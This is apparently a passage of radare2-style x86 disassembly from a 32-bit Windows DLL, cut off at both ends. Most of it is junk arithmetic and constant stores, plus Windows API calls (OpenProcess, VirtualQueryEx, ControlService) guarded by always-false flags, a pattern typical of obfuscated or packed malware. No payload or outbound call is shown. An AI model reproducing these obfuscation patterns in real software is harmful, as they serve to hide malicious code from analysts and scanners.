call fcn.10019832
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x1a4]
mov eax, dword [ebp - 0x34]
xor esi, esi
inc esi
push esi
call fcn.10019832
push ebx
lea ecx, [ebp - 0x1a4]
call fcn.10019832
push ebx
lea ecx, [ebp - 0x1a4]
call fcn.10019832
mov ecx, esi
xor ebx, ebx
push 3
sub ecx, dword [eax]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
lea ecx, [ebp - 0x1a4]
setg bl
call fcn.10019832
xor ecx, ecx
push 2
cmp dword [eax], ebx
sete cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x1a4]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
call fcn.10019832
cmp dword [eax], 0
je 0x10036f79
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10036f7b
jmp 0x10036f7d
xor eax, eax
mov esi, eax
push 2
lea ecx, [ebp - 0x1a4]
call fcn.10019832
xor ebx, ebx
lea ecx, [ebp - 0x1a4]
push 2
mov eax, dword [eax]
sub eax, esi
cmp eax, 7
setl bl
call fcn.10019832
push 2
cmp ebx, dword [eax]
pop ebx
je 0x10036fb6
push ebx
lea ecx, [ebp - 0x1a4]
call fcn.10019832
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x7cc]
mov eax, dword [ebp - 0x20]
xor eax, eax
push eax
call fcn.10019832
push ebx
lea ecx, [ebp - 0x1a4]
mov esi, eax
call fcn.10019832
mov eax, dword [eax]
add eax, 0xfff9
add eax, dword [esi]
je 0x10037080
mov dword [ebp - 0x24], 0xad540778
xor esi, esi
mov dword [ebp - 0x2c], 0x53ebff78
inc esi
mov dword [ebp - 0x2c], 0xce724d25
xor edx, edx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x4c], 0xc012777f
mov ecx, dword [ebp - 0x4b8]
mov eax, dword [ebp - 0x4c0]
cmp ecx, eax
setge dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1003702f
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
neg eax
push ebx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x7cc]
call fcn.10019832
mov ecx, dword [ebp - 0x3c]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x14]
setg dl
add eax, edx
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10037145
push 0x2bc
push eax
push eax
call edi
jmp 0x10037145
or eax, 0xffffffff
mov dword [ebp - 0x14], 0x9a7b
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x1a4]
push ebx
call fcn.10019832
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], 0xfffffff8
cmp dword [ebp - 0x44], 0x22
jl 0x10037142
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x24], 0x7762be97
cmp dword [ebp - 0x14], eax
je 0x100370d0
mov esi, ecx
cmp dword [ebp - 0x4bc], eax
jne 0x100370d2
mov esi, eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x2c]
cmp eax, ecx
jge 0x100370e1
xor eax, eax
push ecx
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x7cc]
call fcn.10019832
mov ecx, dword [ebp - 0x38]
xor ebx, ebx
sub ecx, dword [eax]
cmp esi, ecx
lea ecx, [ebp - 0x7cc]
setl bl
xor eax, eax
push eax
call fcn.10019832
xor edx, edx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x24]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x22
jge 0x100370af
push 2
pop ebx
xor esi, esi
inc esi
lea ecx, [ebp - 0x7cc]
call fcn.10019816
or eax, 0xffffffff
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 4], eax
call fcn.10019816
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x11
jl 0x10036e68
mov eax, dword [ebp - 0x4c0]
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4b4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x4b8], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setg bl
xor edx, edx
sub ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
add ebx, 0x7aa5bfbc
cmp ebx, eax
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x40], 0x9869ec42
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100371e8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1080], 0x5a1fa147
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100371d0
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037200
push 0xc42
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
push 6
pop ecx
mov dword [ebp - 0x14], eax
push 0x1a
pop edi
cmp dword [ebp - 0x14], ecx
jge 0x10037248
or esi, 0xffffffff
mov dword [ebp - 0x50], 3
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edi
jge 0x1003723d
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x2c]
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edi
jl 0x10037220
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10037211
xor esi, esi
inc esi
push 2
pop ebx
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x1008]
push ebx
call fcn.10019794
mov dword [ebp - 4], edi
xor eax, eax
mov edi, 0x42c60eda
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0xc257
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003728a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x114c], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10037276
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100372b0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1008]
call fcn.10019832
mov dword [eax], 0x4ad72d76
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10037292
xor eax, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], eax
jl 0x10037307
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x2c], 0xbed85728
mov dword [ebp - 0x14], eax
jmp 0x100372d8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb7c], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100372c7
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x114c], 0
jne 0x10037305
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0xb78]
push 0
mov dword [ebp - 0xb7c], eax
dec dword [ebp - 0x2c]
dec dword [ebp - 0x38]
pop eax
jns 0x100372b8
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037317
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
or eax, 0xffffffff
lea ecx, [ebp - 0x1008]
mov dword [ebp - 4], eax
call fcn.10019816
xor eax, eax
lea ecx, [ebp - 0x1020]
mov dword [ebp - 0x38], eax
push ebx
call fcn.10019794
mov dword [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0xc257
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10037368
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1048], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10037354
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003738e
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1020]
call fcn.10019832
mov dword [eax], 0x4ad72d76
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10037370
xor eax, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], eax
jl 0x100373e5
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x2c], 0xbed85728
mov dword [ebp - 0x14], eax
jmp 0x100373b6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb6c], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100373a5
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x1048], 0
jne 0x100373e3
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0xb68]
push 0
mov dword [ebp - 0xb6c], eax
dec dword [ebp - 0x2c]
dec dword [ebp - 0x38]
pop eax
jns 0x10037396
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100373f5
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
or edi, 0xffffffff
lea ecx, [ebp - 0x1020]
mov dword [ebp - 4], edi
call fcn.10019816
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0xe58d020b
mov dword [ebp - 0x14], 0xfffffffa
jmp 0x100374b9
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x3c], 0xf40fc027
mov dword [ebp - 0x1c], 0xfffffff3
cmp dword [ebp - 0x1c], 5
je 0x1003746a
mov dword [ebp - 0x2c], 0xfffffffb
mov dword [ebp - 0x3c], 0x9da4d073
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003745f
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 5
jne 0x10037435
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x100374b0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff7
jg 0x100374ad
mov dword [ebp - 0x1c], eax
jmp 0x10037498
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037495
push eax
push eax
push 0xd74
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
jl 0x1003747d
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff7
push 0
pop eax
jle 0x10037478
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffffc
jg 0x1003746f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1a
jle 0x1003741e
mov dword [ebp - 0x3c], 0x15252cb1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100374e8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x664], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100374d3
xor eax, eax
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x10037653
mov dword [ebp - 0x50], esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037513
push 0x40b
push esi
push 0x64a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
xor eax, eax
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x50], eax
jl 0x1003764a
push ebx
lea ecx, [ebp - 0x338]
call fcn.10019794
mov dword [ebp - 4], 0x1c
xor eax, eax
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x14], eax
jmp 0x1003754d
push dword [ebp - 0x14]
call fcn.10019832
mov dword [eax], 0x26ff23b1
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x338]
cmp dword [ebp - 0x14], ebx
jl 0x1003753c
push esi
call fcn.10019832
mov dword [eax], ebx
jmp 0x1003761c
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x664], eax
je 0x1003757e
push esi
lea ecx, [ebp - 0x338]
call fcn.10019832
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
push esi
mov eax, dword [ebp + eax*4 - 0x664]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x664]
test eax, eax
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x664]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x664]
cmp eax, edx
setne cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x338]
call fcn.10019832
mov esi, eax
lea ecx, [ebp - 0x338]
xor eax, eax
inc eax
push eax
call fcn.10019832
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x664]
setg dl
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0x7dcd
setge cl
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x338]
setg al
xor esi, esi
inc esi
mov dword [ebp - 0x4c], eax
push esi
call fcn.10019832
dec dword [eax]
push esi
lea ecx, [ebp - 0x338]
call fcn.10019832
cmp dword [eax], 0
jge 0x10037565
lea ecx, [ebp - 0x338]
mov dword [ebp - 4], edi
call fcn.10019816
dec dword [ebp - 0x50]
jns 0x1003751f
xor eax, eax
dec dword [ebp - 0x3c]
jns 0x100374f4
mov dword [ebp - 0x34], 0x99841b3c
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x34], 0xffffffef
jmp 0x100377eb
push esi
lea ecx, [ebp - 0xb34]
call fcn.10019794
mov dword [ebp - 4], 0x1d
xor eax, eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100376a4
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb34]
call fcn.10019832
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10037689
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x100377da
push ebx
lea ecx, [ebp - 0x4f0]
call fcn.10019794
mov byte [ebp - 4], 0x1e
xor eax, eax
mov dword [ebp - 0x4c], 0xcf7d1649
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100376ef
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4f0]
call fcn.10019832
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100376d1
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x100377af
push esi
lea ecx, [ebp - 0x4f0]
call fcn.10019832
cmp dword [eax], 0
jne 0x10037733
push esi
lea ecx, [ebp - 0x4f0]
call fcn.10019832
lea ecx, [ebp - 0xb34]
imul esi, dword [eax], 7
xor eax, eax
push eax
call fcn.10019832
cmp esi, dword [eax]
jl 0x10037730
xor eax, eax
mov esi, eax
jmp 0x10037735
xor esi, esi
inc esi
xor eax, eax
push eax
lea ecx, [ebp - 0x4f0]
call fcn.10019832
xor ebx, ebx
lea ecx, [ebp - 0x4f0]
cmp dword [eax], esi
sete bl
xor esi, esi
inc esi
push esi
call fcn.10019832
xor ecx, ecx
push esi
cmp ebx, dword [eax]
sete cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x4f0]
call fcn.10019832
mov ecx, dword [ebp - 0x34]
xor edx, edx
cmp dword [ebp - 0x4c], ecx
setne dl
xor ecx, ecx
cmp edx, 0xcad
setg cl
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0xb34]
setl bl
xor eax, eax
push eax
call fcn.10019832
mov ecx, dword [ebp - 0x28]
xor edx, edx
cmp ebx, ecx
sete dl
imul edx, dword [eax]
test edx, edx
je 0x100377ad
mov ecx, esi
jmp 0x100377b1
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0x889ec002
lea ecx, [ebp - 0x4f0]
sete al
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x1d
call fcn.10019816
dec dword [ebp - 0x20]
push 2
pop ebx
jns 0x100376b0
lea ecx, [ebp - 0xb34]
mov dword [ebp - 4], edi
call fcn.10019816
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x10
jge 0x10037669
mov edi, dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0xffffffffffffffec
mov dword [ebp - 0x34], 0xffffffe6
pop ebx
cmp dword [ebp - 0x34], ebx
jne 0x100378a3
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10037889
push 3
mov dword [ebp - 0x14], eax
pop edx
cmp dword [ebp - 0x14], edx
jge 0x10037838
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf78], 0x6ea3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10037820
xor eax, eax
push 2
pop ecx
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x10037897
mov dword [ebp - 0x20], 0x9d3cd362
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x1003787a
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edx
jge 0x10037875
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xf78], 0xcab4
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jl 0x1003785d
xor eax, eax
dec dword [ebp - 0x20]
jns 0x10037852
cmp dword [ebp - 0xf74], eax
jne 0x10037897
dec dword [ebp - 0x28]
jns 0x10037843
jmp 0x10037897
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037897
push eax
call edi
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
je 0x10037810
mov dword [ebp - 0x1c], 0x462d5e48
mov dword [ebp - 0x50], 0xfffffff9
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x2c], 0x4746a1c1
mov dword [ebp - 0x30], 0x61fbc9fa
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x50], ebx
jg 0x1003793c
xor eax, eax
mov dword [ebp - 0x2c], 0xbb7ab61b
mov dword [ebp - 0x14], eax
jmp 0x100378e9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1110], 0x568d526d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100378d8
mov esi, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
neg esi
mov eax, dword [ebp - 0x110c]
sbb esi, esi
xor edx, edx
neg esi
cmp ecx, eax
mov eax, dword [ebp - 0x110c]
setg dl
lea ecx, [edx + esi]
xor edx, edx
cmp eax, ecx
setle dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, 0x631615e8
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ebx
jle 0x100378ca
xor esi, esi
inc esi
mov dword [ebp - 0x28], 8
xor eax, eax
mov dword [ebp - 0x24], 0xf3b8cff2
mov dword [ebp - 0x3c], 0xa3b
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10037975
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf8], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003795c
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003798d
push eax
push 0xf60
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
xor eax, eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x1b
je 0x10037b86
or edi, 0xffffffff
mov dword [ebp - 0x18], 0xdc4b4e12
push 9
pop ecx
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x598], ecx
mov dword [ebp - 0x594], ecx
mov dword [ebp - 0x590], ecx
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff3
jne 0x10037b54
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x4c], 0xbb94d0f4
mov dword [ebp - 0x14], eax
jmp 0x100379f5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1034], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100379e8
mov eax, dword [ebp - 0xf8]
inc dword [ebp - 0x590]
mov edx, dword [ebp - 0x590]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xf8]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setl bl
add ebx, edx
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x24], ecx
jne 0x10037a54
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x4c], eax
je 0x10037a56
mov edx, esi
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0xf4]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
imul eax, ecx, 9
mov ecx, 0x9ae77ab3
sub ecx, eax
xor eax, eax
sub ecx, dword [ebp - 0x1030]
je 0x10037b35
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x590]
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x594]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
dec edx
neg edx
push 0xc
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
pop edx
setle cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], edx
jne 0x10037b44
push 3
xor eax, eax
pop ecx
mov dword [ebp - 0x2c], 0xeaadaf8d
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0x50], eax
jl 0x10037b2b
inc dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x10037b26
mov eax, dword [ebp - 0x50]
cmp dword [ebp + eax*4 - 0x59c], 0
jne 0x10037b24
dec dword [ebp - 0x20]
jns 0x10037b12
xor eax, eax
dec dword [ebp - 0x50]
jns 0x10037b07
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edx
je 0x10037af8
jmp 0x10037b44
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10037b44
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
push 0
pop eax
je 0x100379d9
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037b6d
push 0x24b7
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor eax, eax
inc dword [ebp - 0xf8]
cmp dword [ebp - 0xf8], 0x1b
jne 0x100379a3
mov edi, dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
or ebx, 0xffffffff
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x3c4], ebx
mov dword [ebp - 0x3c0], ebx
mov dword [ebp - 0x3bc], ebx
mov dword [ebp - 0x3b8], ebx
push 3
call fcn.10019794
mov dword [ebp - 4], 0x1f
lea ecx, [ebp - 0xf90]
mov dword [ebp - 0x24], 0x60d2f38d
xor eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0x478c9dff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], 0xcd17cd95
push esi
call fcn.10019794
xor eax, eax
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10037c0c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x11c]
call fcn.10019832
mov dword [eax], 0x1f2e9667
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10037bed
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10037c28
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf90]
call fcn.10019832
mov dword [eax], 0x25f8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10037c11
push esi
lea ecx, [ebp - 0x11c]
call fcn.10019832
push esi
lea ecx, [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
call fcn.10019832
xor eax, eax
lea ecx, [ebp - 0x11c]
push eax
call fcn.10019832
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x11c]
xor eax, eax
push eax
call fcn.10019832
xor eax, eax
lea ecx, [ebp - 0x11c]
push eax
call fcn.10019832
xor eax, eax
lea ecx, [ebp - 0x11c]
push eax
call fcn.10019832
xor eax, eax
lea ecx, [ebp - 0x11c]
push eax
call fcn.10019832
xor eax, eax
lea ecx, [ebp - 0x11c]
push eax
call fcn.10019832
mov eax, dword [ebp - 0x38]
xor ecx, ecx
test eax, eax
push esi
setns cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x11c]
call fcn.10019832
mov edx, dword [ebp - 0x20]
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor eax, eax
cmp ecx, edx
setle al
xor ecx, ecx
cmp eax, 0x7d66
mov eax, dword [esi]
setl cl
xor ebx, ebx
sub eax, ecx
lea ecx, [ebp - 0x11c]
cmp eax, 0xb41c
setl bl
xor eax, eax
push eax
call fcn.10019832
mov ecx, dword [ebp - 0x20]
mov esi, eax
xor eax, eax
cmp ebx, ecx
mov ecx, dword [ebp - 0x24]
sete al
xor edx, edx
cmp ecx, eax
mov eax, dword [esi]
setge dl
neg eax
imul ecx, edx, 9
xor ebx, ebx
sub eax, ecx
lea ecx, [ebp - 0x11c]
cmp eax, 0xe86d
setle bl
xor eax, eax
push eax
call fcn.10019832
xor ecx, ecx
push 2
cmp ebx, dword [eax]
setne cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x11c]
call fcn.10019832
mov ecx, dword [ebp - 0x38]
xor edx, edx
cmp dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0xf90]
setge dl
sub edx, dword [eax]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x24], edx
call fcn.10019816
or eax, 0xffffffff
lea ecx, [ebp - 0x11c]
mov dword [ebp - 4], eax
call fcn.10019816
push 3
xor eax, eax
lea ecx, [ebp - 0xc24]
pop esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], 0x5c8094a
push esi
call fcn.10019794
xor eax, eax
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x14], eax
jmp 0x10037db1
push dword [ebp - 0x14]
call fcn.10019832
mov dword [eax], 0x6e60b0c
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xc24]
cmp dword [ebp - 0x14], esi
jl 0x10037da0
dec dword [ebp - 0x44]
xor ebx, ebx
inc ebx
push ebx
call fcn.10019832
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [eax]
jl 0x10037de9
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10037e0e
push eax
push 0x9b8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
jmp 0x10037e0e
xor eax, eax
mov dword [ebp - 0x44], eax
jmp 0x10037e08
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037e05
push eax
push eax
push eax
push eax
